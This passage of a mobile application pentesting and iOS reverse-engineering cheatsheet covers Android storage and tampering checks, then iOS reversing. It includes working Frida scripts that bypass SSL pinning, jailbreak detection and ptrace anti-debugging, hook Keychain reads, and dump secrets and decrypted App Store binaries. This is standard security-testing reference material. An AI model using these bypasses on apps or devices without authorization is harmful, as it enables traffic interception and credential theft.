  * [OWASP Flutter](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0109/)
  * [Flutter SSL Pinning Bypass Frida](https://github.com/horangi-cyops/flutter-ssl-pinning-bypass)
* Tools
  * [apk-mitm](https://github.com/niklashigi/apk-mitm)
  * [frida-interception-and-unpinning](https://github.com/httptoolkit/frida-interception-and-unpinning)
  * [frida-android-unpinning](https://codeshare.frida.re/@masbog/frida-android-unpinning-ssl/)
  * [reFlutter](https://github.com/Impact-I/reFlutter)

### Storage

#### Sensitive information in Local Storage

* path `/data/data/<package_name>`
  * SharedPref
  * Database
  * Other files
* Objection `objection -g sg.vp.owasp_mobile.omtg_android explore`

#### File in External Storage

* Get list of file in `/sdcard`
  * `adb pull /sdcard`
* Using Frida and monitoring Api
  * `getExternalStorageDirectory`
  * `getExternalStoragePublicDirectory`
  * `getExternalFilesDir` or `FileOutPutStream`
* Permission `WRITE_EXTERNAL_STORAGE`, and `MANAGE_EXTERNAL_STORAG`

#### Sensitive Information Logcat

* [pidcat](https://github.com/JakeWharton/pidcat)
* `adb logcat`
* `Log`, `Logger`, `System.out.print`, `System.err.print`, and `java.lang.Throwable#printStackTrace`

### Misconfiguration

#### Android Backup

* `android:allowBackup="true"`
* Android backup extractor [Android backup extractor](https://github.com/nelenkov/android-backup-extractor)

#### Debug Certificate

* Check if app use debug certificate
  * `apksigner verify --verbose example.apk`
  * `"CN=Android Debug,O=Android,C=US"`

### App Tampering

* Modifying \[smali]\(<https://github.com/JesusFreke/smali/wiki/TypesMethodsAndFields>
* [Smali-Repack](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/smali-changes.html)
* Resign `apk` [uber-apk-signer](https://github.com/patrickfav/uber-apk-signer)

  ```bash
  # create sign key (can be found in "Android Studio\jbr\bin\keytool.exe" )
  keytool -genkey -v -keystore your-keystore.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <key alias name>
  # align the app (can be found in build-tools)
  zipalign -v 4 <your_app.apk> <your_app_aligned.apk>
  # sign the key (can be found in build-tools )
  apksigner.bat sign --ks your-keystore.jks --ks-key-alias <key alias name> --out <signed_apk.apk> <not_signed_apk.apk>
  ```
* [Using Objection](https://github.com/sensepost/objection/wiki/Patching-Android-Applications)

### Useful Tools

* [ghidraScript](https://github.com/ghidraninja/ghidra_scripts)
* [Drozer](https://github.com/WithSecureLabs/drozer)
* [Objection](https://github.com/sensepost/objection)
* [RMS](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* [House](https://github.com/nccgroup/house)
* [uber-apk-signer](https://github.com/patrickfav/uber-apk-signer)
* [Jadx/Jadx-gui](https://github.com/skylot/jadx)
* [Dex2Jar](https://github.com/pxb1988/dex2jar)
* [APktool](https://apktool.org/)
* [fridump](https://github.com/Nightbringer21/fridump)
* [Frida](https://frida.re/docs/examples/android/)
* [pidcat](https://github.com/JakeWharton/pidcat)
* [apkx](https://github.com/muellerberndt/apkx)
* [Method Tracing Frida](https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0033/)
* [reFlutter](https://github.com/Impact-I/reFlutter)
* [blutter](https://github.com/worawit/blutter)
* [ProxyDroid](https://github.com/madeye/proxydroid/)
* [ApkHunt](https://github.com/Cyber-Buddy/APKHunt)
* [Sebastian](https://github.com/Dado1513/SEBASTiAn)
* [PAPIMonitor](https://github.com/Dado1513/PAPIMonitor)
* [scrcpy](https://github.com/Genymobile/scrcpy)
* [apk-mitm](https://github.com/niklashigi/apk-mitm)

### Useful Resources

* [android-penetration-testing-cheatsheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet)
* [Android Pentesting](https://github.com/kiro6/penetration-testing-notes/tree/main/Pentesting/Android%20Pentesting)
* [Hacktricks](https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/index.html)
* OWASP Mobile
  * [MASTG Techniques](https://mas.owasp.org/MASTG/techniques/)
  * [MASTG Test-beta](https://mas.owasp.org/MASTG/tests-beta/)
  * [MASTG Test](https://mas.owasp.org/MASTG/tests)
  * [MAS Checklist](https://mas.owasp.org/checklists/)
  * [MAS Checklist xlsx](https://github.com/OWASP/owasp-mastg/releases/latest/download/OWASP_MAS_Checklist.xlsx)
* [Testing Tools](https://mas.owasp.org/MASTG/tools/)
* Frida Script
  * [Frida Code Share](https://codeshare.frida.re/browse)
  * [Frida Mobile Script](https://github.com/m0bilesecurity/Frida-Mobile-Scripts/tree/master)
  * [frida.re](https://frida.re/docs/home)
  * [learnfrida.info](https://learnfrida.info)
  * [codeshare.frida.re](https://codeshare.frida.re)
  * [github.com/dweinstein/awesome-frida](https://github.com/dweinstein/awesome-frida)
  * [github.com/interference-security/frida-scripts](https://github.com/interference-security/frida-scripts)


# iOS Application Pentesting

## iOS PT Mindmap

### Requirements

* `sudo pip install frida-tools`
* Setup [libimobiledevice](https://github.com/libimobiledevice)

### Useful

* Connect to device through usb
  * `iproxy 2222 22`
  * `ssh -p 2222 alpine/root@localhost`
* Extracting IPA from iOS
  * [frida-ios-dump](https://github.com/AloneMonkey/frida-ios-dump)

### Reversing App

* `mv APP.ipa APP.zip`
* `unzip APP.zip`
* `mv Payload/App.app/* AppFiles/`
* Analyzing `plist`, `json` files
* Dumping classes `class-dump-z APP > dump.txt`
* Reversing using Ghidra
  * [Ghidra Script](https://github.com/ghidraninja/ghidra_scripts)
* Reversing using radare2
  * [r2frida](https://github.com/nowsecure/r2frida)

### Framework

#### Flutter

* `reflutter -p file.ipa`
* `jtool.ELF64 -S App` for extracting `_kDartIsolateSnapshotInstructions`
* Use [reflutter-frida](https://github.com/Impact-I/reFlutter/blob/main/frida.js) for hooking instruction (need output reflutter and above)
  * [reflutter](https://github.com/Impact-I/reFlutter)

### Dynamic Analysis

#### SSL Pinning Bypass

* Flutter
  * [flutter-script](https://blog.nviso.eu/2022/08/18/intercept-flutter-traffic-on-ios-and-android-http-https-dio-pinning/)
  * [frida-flutter-proxy](https://github.com/hackcatml/frida-flutterproxy)
  * [burp-flutter-proxy](https://github.com/hackcatml/frida-flutterproxy)

#### Binary Instrumentation

* `frida-ps -U`
* `frida -U -n app_name -l script.js`
* `frida -U -f bundleId -l script.js`
* `frida-trace -m "*[ClassName methodName]"`
  * `frida-trace -U -f bundle_id -i "*cko*"`
  * `frida-trace -U YourApp -m "*[NSURL* *HTTP*]"`
  * \`frida-trace -U -f bundleId -m "-\[*WebView* load\*]
  * `frida-trace -U -f BundleID -m "-[*WebView* *]`
* Frida Script

```javascript
Interceptor.attach(Module.getExportByName('libc.so', 'read'), { 
	onEnter(args) { 
		this.fileDescriptor = args[0].toInt32(); 
	}, 
	onLeave(retval) { 
		if (retval.toInt32() > 0) { 
			/* do something with this.fileDescriptor */ 
		} 
	} 
});
```

* objection
  * `objection -g <bundle_id> explore`
    * `import script.js`

#### Keychain

* `objection`
  * `ios keychain dump --json keychain_dump.json`

#### ScreenMirroring

* [`uxplay`](https://github.com/antimof/UxPlay)

### Tools

* [Some Useful Tools](https://github.com/MobSF/Mobile-Security-Framework-MobSF/tree/master/mobsf/StaticAnalyzer/tools/ios)
* [grapefruit](https://github.com/ChiChou/grapefruit)
* [objection](https://github.com/sensepost/objection)
* [class-dump-z](https://mas.owasp.org/MASTG/tools/ios/MASTG-TOOL-0044/)
* [Ghidra](https://github.com/NationalSecurityAgency/ghidra)
* [Hooper](https://www.hopperapp.com/)
* [iproxy](https://mas.owasp.org/MASTG/tools/ios/MASTG-TOOL-0055/)
* [frida-cycript](https://github.com/nowsecure/frida-cycript)
* [frida-ios-dump](https://github.com/AloneMonkey/frida-ios-dump)
* [r2frida](https://github.com/nowsecure/r2frida)

### Resources

* [ios-penetration-testing-cheatsheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet)
* [cycript](https://www.cycript.org/)
* [OWASP MASTG](https://github.com/OWASP/owasp-mastg)
* [Ghidra Reversing](https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/Module-3/README.md#disassembling-and-decompiling-the-binary---ghidra)
* [iOS Tampering and Reversing OWASP MASTG](https://github.com/boblone19/OWASP-MSTG/blob/master/Document/0x06c-Reverse-Engineering-and-Tampering.md)
* [Hacktricks](https://book.hacktricks.wiki/en/mobile-pentesting/ios-pentesting/index.html)
* <https://github.com/Dado1513/frida-mobile-scripts/tree/master>
* Frida Script
  * [Frida Code Share](https://codeshare.frida.re/browse)
  * [Frida Mobile Script](https://github.com/m0bilesecurity/Frida-Mobile-Scripts/tree/master)
  * [frida.re](https://frida.re/docs/home)
  * [learnfrida.info](https://learnfrida.info)
  * [codeshare.frida.re](https://codeshare.frida.re)
  * [github.com/dweinstein/awesome-frida](https://github.com/dweinstein/awesome-frida)
  * [github.com/interference-security/frida-scripts](https://github.com/interference-security/frida-scripts)
* Flutter
  * [Flutter Proxy Openvpn](https://busk3r.medium.com/intercept-traffic-of-proxy-unaware-applications-in-burpsuite-eeb1ac329a87)
  * [Flutter Proxy Openvpn2](https://medium.com/@meshal_/pentesting-non-proxy-aware-mobile-applications-65161f62a965)


# iOS RE Cheatsheet

> ARM64 · Swift · ObjC · Frida · IDA Pro · SSL Pinning · Jailbreak Detection · Static & Dynamic Analysis

***

## 1. Toolchain Setup

### Static Analysis

| Tool             | Description                                     |
| ---------------- | ----------------------------------------------- |
| `IDA Pro`        | Primary disassembler + decompiler (Hex-Rays)    |
| `Ghidra`         | Free alternative, good Swift support via plugin |
| `Hopper`         | Lightweight, fast ObjC analysis on macOS        |
| `class-dump`     | ObjC header reconstruction from binary          |
| `dsdump`         | Swift + ObjC metadata dump, more detailed       |
| `jtool2`         | Mach-O swiss-army knife, better than otool      |
| `nm` / `strings` | Symbol listing, string extraction               |

### Dynamic Analysis

| Tool          | Description                                |
| ------------- | ------------------------------------------ |
| `Frida`       | Runtime instrumentation, hook injection    |
| `Objection`   | Frida-based toolkit, SSL bypass, mem dump  |
| `lldb`        | On-device debugger via Xcode / debugserver |
| `frida-trace` | Auto-trace ObjC methods & C functions      |
| `r2frida`     | radare2 + Frida combined analysis          |
| `Burp Suite`  | HTTP/S proxy for traffic interception      |
| `mitmproxy`   | Lightweight proxy, scriptable              |

### Utility / Support

| Tool                   | Description                                  |
| ---------------------- | -------------------------------------------- |
| `ipsw`                 | Download & extract iOS firmware, DYLD cache  |
| `ldid`                 | Sign binaries for sideloading / testing      |
| `frida-ios-dump`       | Decrypt & dump App Store IPAs                |
| `bfdecrypt`            | Inline decryption via Cydia tweak            |
| `Filza / iFile`        | On-device filesystem browser                 |
| `otool`                | Object file displaying tool (built-in macOS) |
| `xcrun swift-demangle` | Demangle Swift mangled symbol names          |

***

## 2. First Recon — Before Opening IDA

### Shell Commands

```bash
# Check encryption
otool -l Binary | grep -A4 LC_ENCRYPT

# Linked frameworks
otool -L Binary
jtool2 -L Binary

# Architecture & flags
otool -hv Binary
file Binary

# Mach-O sections
otool -l Binary | grep -E "sectname|segname|size|offset"

# String extraction
strings -a Binary | grep -iE "http|api|key|token|secret|jwt"
strings -a Binary | grep -E "^[A-Za-z0-9+/]{20,}={0,2}$"  # base64 candidates

# Exported symbols
nm -U Binary | grep " T "    # defined text symbols
nm -u Binary                 # undefined (imports)

# Swift demangle
xcrun swift-demangle _'$s3App12NetworkClientC11fetchToken...'
nm Binary | xcrun swift-demangle
```

### class-dump / dsdump

```bash
# ObjC header dump
class-dump -H Binary -o ./headers/

# Swift metadata (more detailed)
dsdump --swift Binary
dsdump --swift --verbose Binary
dsdump --objc Binary

# Filter interesting classes
dsdump --swift Binary | grep -iE \
  "Manager|Service|Client|Handler|Auth|Token|Crypto|Pin|Network|Session"

# jtool2 ObjC metadata
jtool2 -d objc Binary
jtool2 --analyze Binary     # full analysis

# Priority targets to find:
# *Manager  *Service  *Client  *Handler  *Provider
# *Auth     *Token    *Session *Crypto   *Pin
# *Network  *Request  *Interceptor       *Certificate
```

### Decryption — App Store IPAs

```bash
# Method 1 — frida-ios-dump (USB device)
frida-ios-dump -u mobile -H 127.0.0.1:2222 com.target.app

# Method 2 — bfdecrypt (Cydia tweak, install on device)
# Tap app → decrypted IPA in /var/mobile/Documents/

# Method 3 — Bagbak
bagbak --host 127.0.0.1:2222 com.target.app

# Verify decryption worked
otool -l DecryptedBinary | grep -A4 cryptid
# cryptid 0 → decrypted ✓
# cryptid 1 → still encrypted ✗

# Extract from DYLD shared cache (iOS system frameworks)
ipsw dyld extract dyld_shared_cache UIKit
```

### DYLD Cache & Imports

```bash
# Key imports → what security features the app uses
otool -L Binary | grep -iE \
  "Security|CommonCrypto|LocalAuth|CFNetwork|sqlite"

# Security.framework  → Keychain, cert pinning, SecTrust
# CommonCrypto        → AES/SHA/HMAC/RSA (CC_SHA256 etc.)
# CFNetwork/NSURLSession → networking stack
# LocalAuthentication → Touch/Face ID
# libsqlite3          → local database (may store tokens)

# List all C imports
nm -u Binary | grep -E "^.*U _" | sed 's/.* _//' | sort

# Check for interesting C functions directly
nm -u Binary | grep -E \
  "CC_SHA|CCCrypt|SecItem|SecTrust|SSL_|fork|ptrace|sysctl"
```

***

## 3. ARM64 Quick Reference

### Calling Convention

| Register(s) | Role                                             |
| ----------- | ------------------------------------------------ |
| `x0–x7`     | Function arguments (in order) / return values    |
| `x0–x1`     | Return values (Swift String = x0 low + x1 flags) |
| `x8`        | **sret pointer** — indirect struct return buffer |
| `x9–x15`    | Scratch / caller-saved (can be clobbered)        |
| `x16–x17`   | Intra-procedure-call temporaries (IPC)           |
| `x18`       | Platform reserved (iOS: thread-local)            |
| `x19–x28`   | Callee-saved — preserved across calls            |
| `x29 (fp)`  | Frame pointer                                    |
| `x30 (lr)`  | Link register — return address                   |
| `sp`        | Stack pointer (16-byte aligned)                  |

### Key Instructions

```asm
; Calls
BL   label          ; call (Branch + Link)
BLR  X8             ; indirect call (vtable dispatch)
RET                 ; return (branch to x30)

; Conditional branches
B.EQ / B.NE         ; equal / not equal (zero flag)
B.LT / B.GT         ; less / greater than (signed)
B.LO / B.HI         ; lower / higher (unsigned)
CBZ  X0, label      ; branch if X0 == 0
CBNZ X0, label      ; branch if X0 != 0
TBZ  W0, #0, label  ; test bit 0, branch if zero  ← Bool check
TBNZ W0, #0, label  ; test bit 0, branch if non-zero

; Load / Store
LDR  X1, [X0, #16]  ; load 64-bit from X0+16
LDP  X1, X2, [X0]   ; load pair (efficient struct read)
STR  X1, [X0, #24]  ; store 64-bit to X0+24
STP  X1, X2, [SP,#-16]! ; push pair to stack

; Address loading (typical IDA pattern for strings/data)
ADRP X0, page           ; load page address (4KB aligned)
ADD  X0, X0, :lo12:sym  ; add page offset
LDR  X0, [X0, :lo12:ptr]; indirect (pointer to data)
```

### sret — Struct Return (Critical for Swift)

```asm
; When a function returns a struct > 16 bytes:
; → caller allocates buffer on stack
; → passes pointer in X8 BEFORE the call
; → callee writes result to *X8
; → x0 may be unrelated (or the sret ptr itself)

; IDA signature of sret function:
; __int64 __usercall func@<X0>(__int64 x8_0@<X8>, ...)
```

```javascript
// In Frida — WRONG (crashes):
Interceptor.attach(addr, {
  onEnter(args) { args[0] // ← this is sret pointer, NOT arg1! }
})

// In Frida — CORRECT:
Interceptor.attach(addr, {
  onEnter(args) {
    this.sret = this.context.x8  // ← capture sret ptr
    this.arg0 = args[0]           // ← first real argument
  },
  onLeave(retval) {
    const field = this.sret.add(0x10).readU8()
  }
})
```

### Common Patterns in IDA

```asm
; NULL check (Optional unwrap)
CBZ  X0, nil_path    ; → guard let / if let

; Bool return — only bit 0 matters
AND  W0, W0, #1      ; mask Bool
TBZ  W0, #0, false_path

; Swift enum discriminant
LDRB W1, [X0, #last_byte]  ; read tag byte
CMP  W1, #0                 ; 0 = first case
CMP  W1, #1                 ; 1 = second case

; vtable dispatch (Swift class method)
LDR  X8, [X0]         ; load vtable pointer from object
LDR  X9, [X8, #0x40]  ; load method from vtable+0x40
BLR  X9               ; call method

; Swift object layout
; [+0x00] isa / metadata pointer
; [+0x08] reference count
; [+0x10] first stored property
```

***

## 4. Swift Internals — IDA Patterns

### Swift String Encoding in Registers

| `x1` top bits  | Type                      | `x0` content                     |
| -------------- | ------------------------- | -------------------------------- |
| `0xE0…0xEF`    | Small inline string       | ASCII bytes packed in x0+x1      |
| `0x8000 0001…` | Large heap String         | Pointer to Swift \_StringStorage |
| `0xF000…`      | Foreign (NSString bridge) | Pointer to NSString object       |
| `x1>>62 == 2`  | Data heap large           | Pointer to `__DataStorage`       |
| `x1>>62 == 1`  | Data medium               | Encoded inline                   |
| `x1>>62 == 0`  | Data inline/small         | `BYTE6(x1)` = length             |

```javascript
// Decode small inline Swift String (Frida)
function swiftSmolStr(lo, hi) {
  let s = '';
  for (let i = 0; i < 8; i++) {
    const c = lo.shr(i*8).and(0xFF).toUInt32();
    if (c > 0x1F && c < 0x80) s += String.fromCharCode(c);
  }
  for (let i = 0; i < 6; i++) {
    const c = hi.shr(i*8).and(0xFF).toUInt32();
    if (c > 0x1F && c < 0xE0) s += String.fromCharCode(c);
  }
  return s;
}
```

### Skip-Pattern Recognition

These are always boilerplate — **skip immediately** without further analysis:

```c
// 1. Lazy type metadata accessor → Swift_lazyTypeMetadataAccessor → SKIP
result = *a1;
if (!result) {
  result = swift_getTypeByMangledNameInContext(...);
  *a1 = result;
}
return result;

// 2. Lazy witness table accessor → Swift_lazyWitnessTableAccessor → SKIP
result = qword_XXXX;
if (!qword_XXXX) {
  result = swift_getWitnessTable(...);
  atomic_store(result, &qword_XXXX);
}

// 3. swift_once initialiser → Swift_once_* → SKIP body
if (qword_XXXX != -1)
  swift_once(&qword_XXXX, sub_YYYY);
return &qword_ZZZZ;

// 4. CoW array reallocator → Swift_Array_*_reallocateBuffer → SKIP
if ((a3 & 1) != 0) { /* grow */ }
swift_allocObject(...)
memmove(...)

// 5. ARC dispatch → Swift_arcRetain/ReleaseTaggedOrHeap → SKIP
if (a2 >> 62 != 1) {
  if (a2 >> 62 != 2) return;
  swift_release(a2 & 0x3FFF...);
}
```

### Function Size Heuristic

| Size          | Likely type                                 | Action     |
| ------------- | ------------------------------------------- | ---------- |
| `< 0x20`      | ARC helper / metadata thunk / getter        | **Skip**   |
| `0x20–0x60`   | CoW helper / Data wrapper / witness init    | **Skip**   |
| `0x60–0x100`  | String/Data utility, possible crypto helper | Quick scan |
| `0x100–0x400` | Real logic — check functions, parsers       | Analyze    |
| `> 0x400`     | Core logic, orchestrators, complex checks   | Deep dive  |

**First call in function body:**

| First call                    | Action               |
| ----------------------------- | -------------------- |
| `swift_getTypeByMangledName…` | **Skip**             |
| `swift_getWitnessTable`       | **Skip**             |
| `swift_once`                  | **Skip body**        |
| `swift_allocObject`           | Note type, continue  |
| `CC_SHA256` / `CCCrypt`       | **Priority analyze** |
| `_dyld_*` / `sysctl`          | **Security check**   |
| `objc_msgSend`                | Read selector        |

### Swift Memory Layouts

```
// Protocol value on stack (existential container) — 40 bytes
[+0x00] value word 0    // inline if ≤ 3 words, else heap ptr
[+0x08] value word 1
[+0x10] value word 2
[+0x18] type metadata   // pointer to TypeMetadata
[+0x20] witness table   // pointer to protocol conformance

// Swift Optional<T> (pointer-sized T):
//   .none  → 0 (nil)
//   .some  → non-zero value
// Check: CBZ X0, nil_branch

// Swift Array buffer layout
[+0x00] isa / refcount
[+0x10] count (Int)
[+0x18] capacity×2 (encoded)
[+0x20] elements start here   // buf + 32

// Swift Dictionary bucket layout
// Bitmap at buf+64: 1 bit per bucket (occupied flag)
// Keys array at metadata[+48]: [String] pairs
// Values array at metadata[+56]: [Value] pairs
```

***

## 5. ObjC Runtime Patterns

### `objc_msgSend` Patterns

```c
// Register assignment:
// x0 = receiver (self or class)
// x1 = SEL (selector — IDA shows as string)
// x2, x3, ... = arguments

// [NSURLSession sharedSession]
cls     = objc_opt_self(&OBJC_CLASS___NSURLSession);
session = objc_msgSend(cls, "sharedSession");

// [[MyClass alloc] initWithString:]
obj    = objc_allocWithZone(&OBJC_CLASS___MyClass);
result = objc_msgSend(obj, "initWithString:", str);

// Retain/release — skip these in analysis
objc_retain(x)
objc_release(x)
objc_retainAutoreleasedReturnValue(x)   // always after msgSend

// Static / class method
cls    = objc_opt_self(&OBJC_CLASS___NSBundle);
bundle = objc_msgSend(cls, "mainBundle");   // +mainBundle

// When IDA doesn't show the selector:
// Look at x1 register → reference to __TEXT.__objc_methnames
// Or: Search → Immediate value → address of selector
```

### Key ObjC Classes & Selectors

| Class / Selector                      | Security Relevance                             |
| ------------------------------------- | ---------------------------------------------- |
| `NSURLSession -dataTaskWithRequest:`  | HTTP requests — hook for traffic interception  |
| `NSURLSession -didReceiveChallenge:…` | SSL auth challenge — pinning bypass target     |
| `SecItemCopyMatching`                 | Keychain read — dump credentials               |
| `SecItemAdd`                          | Keychain write — trace stored secrets          |
| `SecTrustEvaluate / …WithError:`      | Certificate validation — pinning               |
| `NSBundle -pathForResource:ofType:`   | Reads embedded resources (plist, cert, config) |
| `NSFileManager -fileExistsAtPath:`    | Jailbreak filesystem checks                    |
| `UIDevice -systemVersion`             | OS version checks                              |
| `NSUserDefaults -objectForKey:`       | Persistent config / flags storage              |
| `FIRCrashlytics -recordError:`        | Security event telemetry reporting             |

***

## 6. Frida — Essential Scripts

### CLI — Device Setup

```bash
# List running processes
frida-ps -Uia           # USB, installed apps
frida-ps -H 127.0.0.1   # SSH tunnel

# Attach REPL
frida -U com.target.app
frida -U -f com.target.app --no-pause   # spawn + attach

# Auto-trace ObjC methods
frida-trace -U -f com.target.app \
  -m "*[NSURLSession *]" \
  -m "*[*Auth* *]" \
  -m "-[*ViewController *]"

# Trace by RVA (Swift functions)
frida-trace -U com.target.app \
  -a "FrameworkName!0x1234"

# Objection quick actions
objection -g com.target.app explore
  ios sslpinning disable
  ios keychain dump
  ios jailbreak simulate
  memory list modules
  ios hooking list classes
  ios hooking watch class NSURLSession
```

### Hook Template — Universal

```javascript
const base  = Module.getBaseAddress('TargetFramework');
const slide = base.sub(ptr('0x100000000'));

function hook(rva, name, enter, leave) {
  Interceptor.attach(ptr(rva).add(slide), {
    onEnter(args) {
      this.name = name;
      if (enter) enter.call(this, args);
    },
    onLeave(retval) {
      if (leave) leave.call(this, retval);
    }
  });
}

// Hook ObjC method
const cls = ObjC.classes.NSURLRequest;
Interceptor.attach(cls['- URL'].implementation, {
  onEnter(args) {
    console.log('[HTTP]', ObjC.Object(args[0]).URL().absoluteString());
  }
});

// Replace ObjC method return value
const orig = ObjC.classes.MyClass['- isJailbroken'].implementation;
Interceptor.replace(orig, new NativeCallback(function(self, sel) {
  return 0;  // force false
}, 'bool', ['pointer', 'pointer']));
```

### Runtime Introspection

```javascript
// Find all instances of a class at runtime
ObjC.choose(ObjC.classes.MyClass, {
  onMatch(obj) { console.log('found:', obj); },
  onComplete()  { console.log('done'); }
});

// Hook all methods of a class
const cls = ObjC.classes.NSURLSession;
for (const m of cls.$ownMethods) {
  Interceptor.attach(cls[m].implementation, {
    onEnter() { console.log(`[NSURLSession] ${m}`); }
  });
}

// Memory dump at address
console.log(hexdump(ptr('0x...'), {
  length: 64, header: true, ansi: true
}));

// List loaded modules + base addresses
Process.enumerateModules()
  .filter(m => m.name.includes('target'))
  .forEach(m => console.log(m.name, m.base, m.size));

// Read Swift String from memory (large heap)
function readSwiftString(ptr) {
  const len = ptr.add(0x10).readU64();
  return ptr.add(0x20).readUtf8String(Number(len));
}
```

### Keychain & CommonCrypto Hooks

```javascript
// Keychain read intercept
const SecItemCopyMatching = Module.findExportByName(
  'Security', 'SecItemCopyMatching');
Interceptor.attach(SecItemCopyMatching, {
  onEnter(args) { this.result = args[1]; },
  onLeave(retval) {
    if (retval.toInt32() === 0) {
      const item = this.result.readPointer();
      console.log('[Keychain]', ObjC.Object(item).toString());
    }
  }
});

// CC_SHA256 — log every hash input/output
const CC_SHA256 = Module.findExportByName(null, 'CC_SHA256');
Interceptor.attach(CC_SHA256, {
  onEnter(args) {
    const data = args[0];
    const len  = args[1].toUInt32();
    console.log('[SHA256 input]', hexdump(data, { length: len }));
  },
  onLeave(retval) {
    console.log('[SHA256 digest]', retval.readByteArray(32));
  }
});
```

***

## 7. SSL Pinning Bypass

### Bypass Levels — Try in Order

| Level | Method                                                    | Notes                                                    |
| ----- | --------------------------------------------------------- | -------------------------------------------------------- |
| **1** | `objection: ios sslpinning disable`                       | Patches common patterns automatically. Try first.        |
| **2** | SSL Kill Switch 2 (Cydia tweak)                           | System-wide hook on `SecTrustEvaluate`.                  |
| **3** | Hook `-URLSession:didReceiveChallenge:completionHandler:` | Force `NSURLSessionAuthChallengeUseCredential` with nil. |
| **4** | Hook `TSKSPKIHashCache` (TrustKit)                        | Return hash matching your proxy cert's SPKI.             |
| **5** | Hook `SecTrustEvaluateWithError` → force `true`           | Works for custom SecTrust implementations.               |
| **6** | Find embedded client cert via `SecPKCS12Import`           | Mutual TLS — cert embedded in `__DATA` or bundle.        |

### Bypass Code

```javascript
// SecTrustEvaluateWithError bypass
const SecTrust = Module.findExportByName(
  'Security', 'SecTrustEvaluateWithError');
Interceptor.replace(SecTrust, new NativeCallback(
  (trust, error) => { return 1; },  // always trusted
  'bool', ['pointer', 'pointer']
));

// NSURLSession delegate hook
const cls = ObjC.classes.YourAppDelegate;
const sel = 'URLSession:didReceiveChallenge:completionHandler:';
Interceptor.replace(cls['- '+sel].implementation,
  new NativeCallback(function(self, _sel, session, challenge, handler) {
    const disposition = 1; // NSURLSessionAuthChallengeUseCredential
    ObjC.Object(handler).call([disposition, NULL]);
  }, 'void', ['pointer','pointer','pointer','pointer','pointer'])
);
```

```bash
# Find embedded cert/key in binary
otool -l Binary | grep -A5 __DATA
# Look for suspiciously-sized sections in __DATA_CONST
# PKCS#12 header: 0x3082 (DER SEQUENCE)
# PEM: look for "CERTIFICATE" string
strings Binary | grep -E "BEGIN CERT|BEGIN RSA|BEGIN PRIV"
```

***

## 8. Jailbreak Detection — Bypass

### Detection Vectors

| Method                             | What to Spoof                                                         |
| ---------------------------------- | --------------------------------------------------------------------- |
| `stat` / `lstat` / `access`        | Return `ENOENT` for JB paths (`/bin/bash`, `/Applications/Cydia.app`) |
| `fopen` / `open`                   | Return `NULL`/`−1` for JB files                                       |
| `fork()`                           | Sandboxed apps can't fork → return `−1`                               |
| `ptrace(PT_DENY_ATTACH)`           | Hook ptrace → return `0` (allow debugger)                             |
| `sysctl(P_TRACED)`                 | Debugger presence → clear flag in returned struct                     |
| `dlopen(MobileSubstrate)`          | Return `NULL` for substrate/tweak libraries                           |
| `canOpenURL("cydia://")`           | Force return `NO`                                                     |
| `NSFileManager -fileExistsAtPath:` | Return `NO` for JB paths                                              |
| `vm_region_64`                     | Check `__DATA_CONST` writability → mask `VM_PROT_WRITE`               |
| `_dyld_image_count` / name         | Filter out Substrate/tweak dylibs from list                           |

### Universal Filesystem Bypass (Frida)

```javascript
const JB_PATHS = [
  '/Applications/Cydia.app', '/bin/bash',
  '/usr/sbin/sshd', '/etc/apt',
  '/private/var/lib/apt', '/var/lib/cydia',
  '/Library/MobileSubstrate', '/var/checkra1n',
  '/var/jb', '/bootstrap'
];

['stat', 'lstat', 'fopen', 'access', 'open'].forEach(sym => {
  const fn = Module.findExportByName(null, sym);
  if (!fn) return;
  Interceptor.attach(fn, {
    onEnter(args) {
      try { this.path = args[0].readUtf8String(); } catch(e) {}
    },
    onLeave(retval) {
      if (JB_PATHS.some(p => this.path?.includes(p)))
        retval.replace(ptr(-1));
    }
  });
});

// ptrace bypass
const ptrace = Module.findExportByName(null, 'ptrace');
Interceptor.replace(ptrace, new NativeCallback(
  () => 0, 'int', ['int','int','int','int']));

// sysctl debugger check bypass
// Clear P_TRACED flag (offset 32 in kinfo_proc, bit 0x800)
const sysctl = Module.findExportByName(null, 'sysctl');
Interceptor.attach(sysctl, {
  onLeave() {
    // Read & clear P_TRACED flag from returned kinfo_proc
  }
});
```

***

## 9. IDA Pro — Systematic Workflow

{% stepper %}
{% step %}

### Phase 1 — Orientation (30 min)

1. **Functions window** → sort by size DESC → largest = real logic, skip < 0x20 bytes
2. **Imports window** → identify security libraries: `Security.framework`, `CommonCrypto`, `CFNetwork`, `LocalAuthentication`, `sqlite3`
3. **Strings window** → filter: `https://`, `/api/`, `/v1/`, error messages, base64 patterns
4. **Search** → class names from `dsdump` output → jump directly to known interesting classes
5. **Segments** → check `__DATA.__const` and `__TEXT.__cstring` → embedded certs, keys, endpoints
   {% endstep %}

{% step %}

### Phase 2 — Function Analysis Flow

1. Check size → apply heuristic (`< 0x20` skip, `> 0x100` full analysis)
2. Check first call → `swift_getTypeByMangledName` → skip immediately
3. `xrefs_to` → caller context often explains purpose completely
4. `callgraph(depth=2)` → find `CC_SHA256`, `CCCrypt`, `_dyld_*`, `sysctl` in subtree
5. Rename locals immediately as you understand them (`v1→ptr_data`, `v2→len`)
6. `set_comments` at key addresses — document polarity, bypass points, data layout
   {% endstep %}
   {% endstepper %}

### IDA Shortcuts (macOS)

| Shortcut        | Action                                |
| --------------- | ------------------------------------- |
| `F5`            | Decompile current function (Hex-Rays) |
| `N`             | Rename symbol / variable              |
| `;`             | Add comment at cursor                 |
| `X`             | Cross-references TO current address   |
| `Ctrl+X`        | xrefs FROM current address            |
| `G`             | Go to address                         |
| `Alt+↑ / Alt+↓` | Navigate xref history                 |
| `Space`         | Toggle graph / linear view            |
| `Ctrl+F`        | Search text in current function       |
| `Alt+T`         | Search all text / strings             |
| `Ctrl+Alt+F`    | Search function names                 |
| `Tab`           | Switch between asm and pseudocode     |
| `Y`             | Change type of variable/function      |
| `H`             | Toggle hex display                    |

### Naming Conventions

| Prefix                    | Usage                                              |
| ------------------------- | -------------------------------------------------- |
| `ISS_Integrity_`          | Integrity check functions (SHA256, manifest)       |
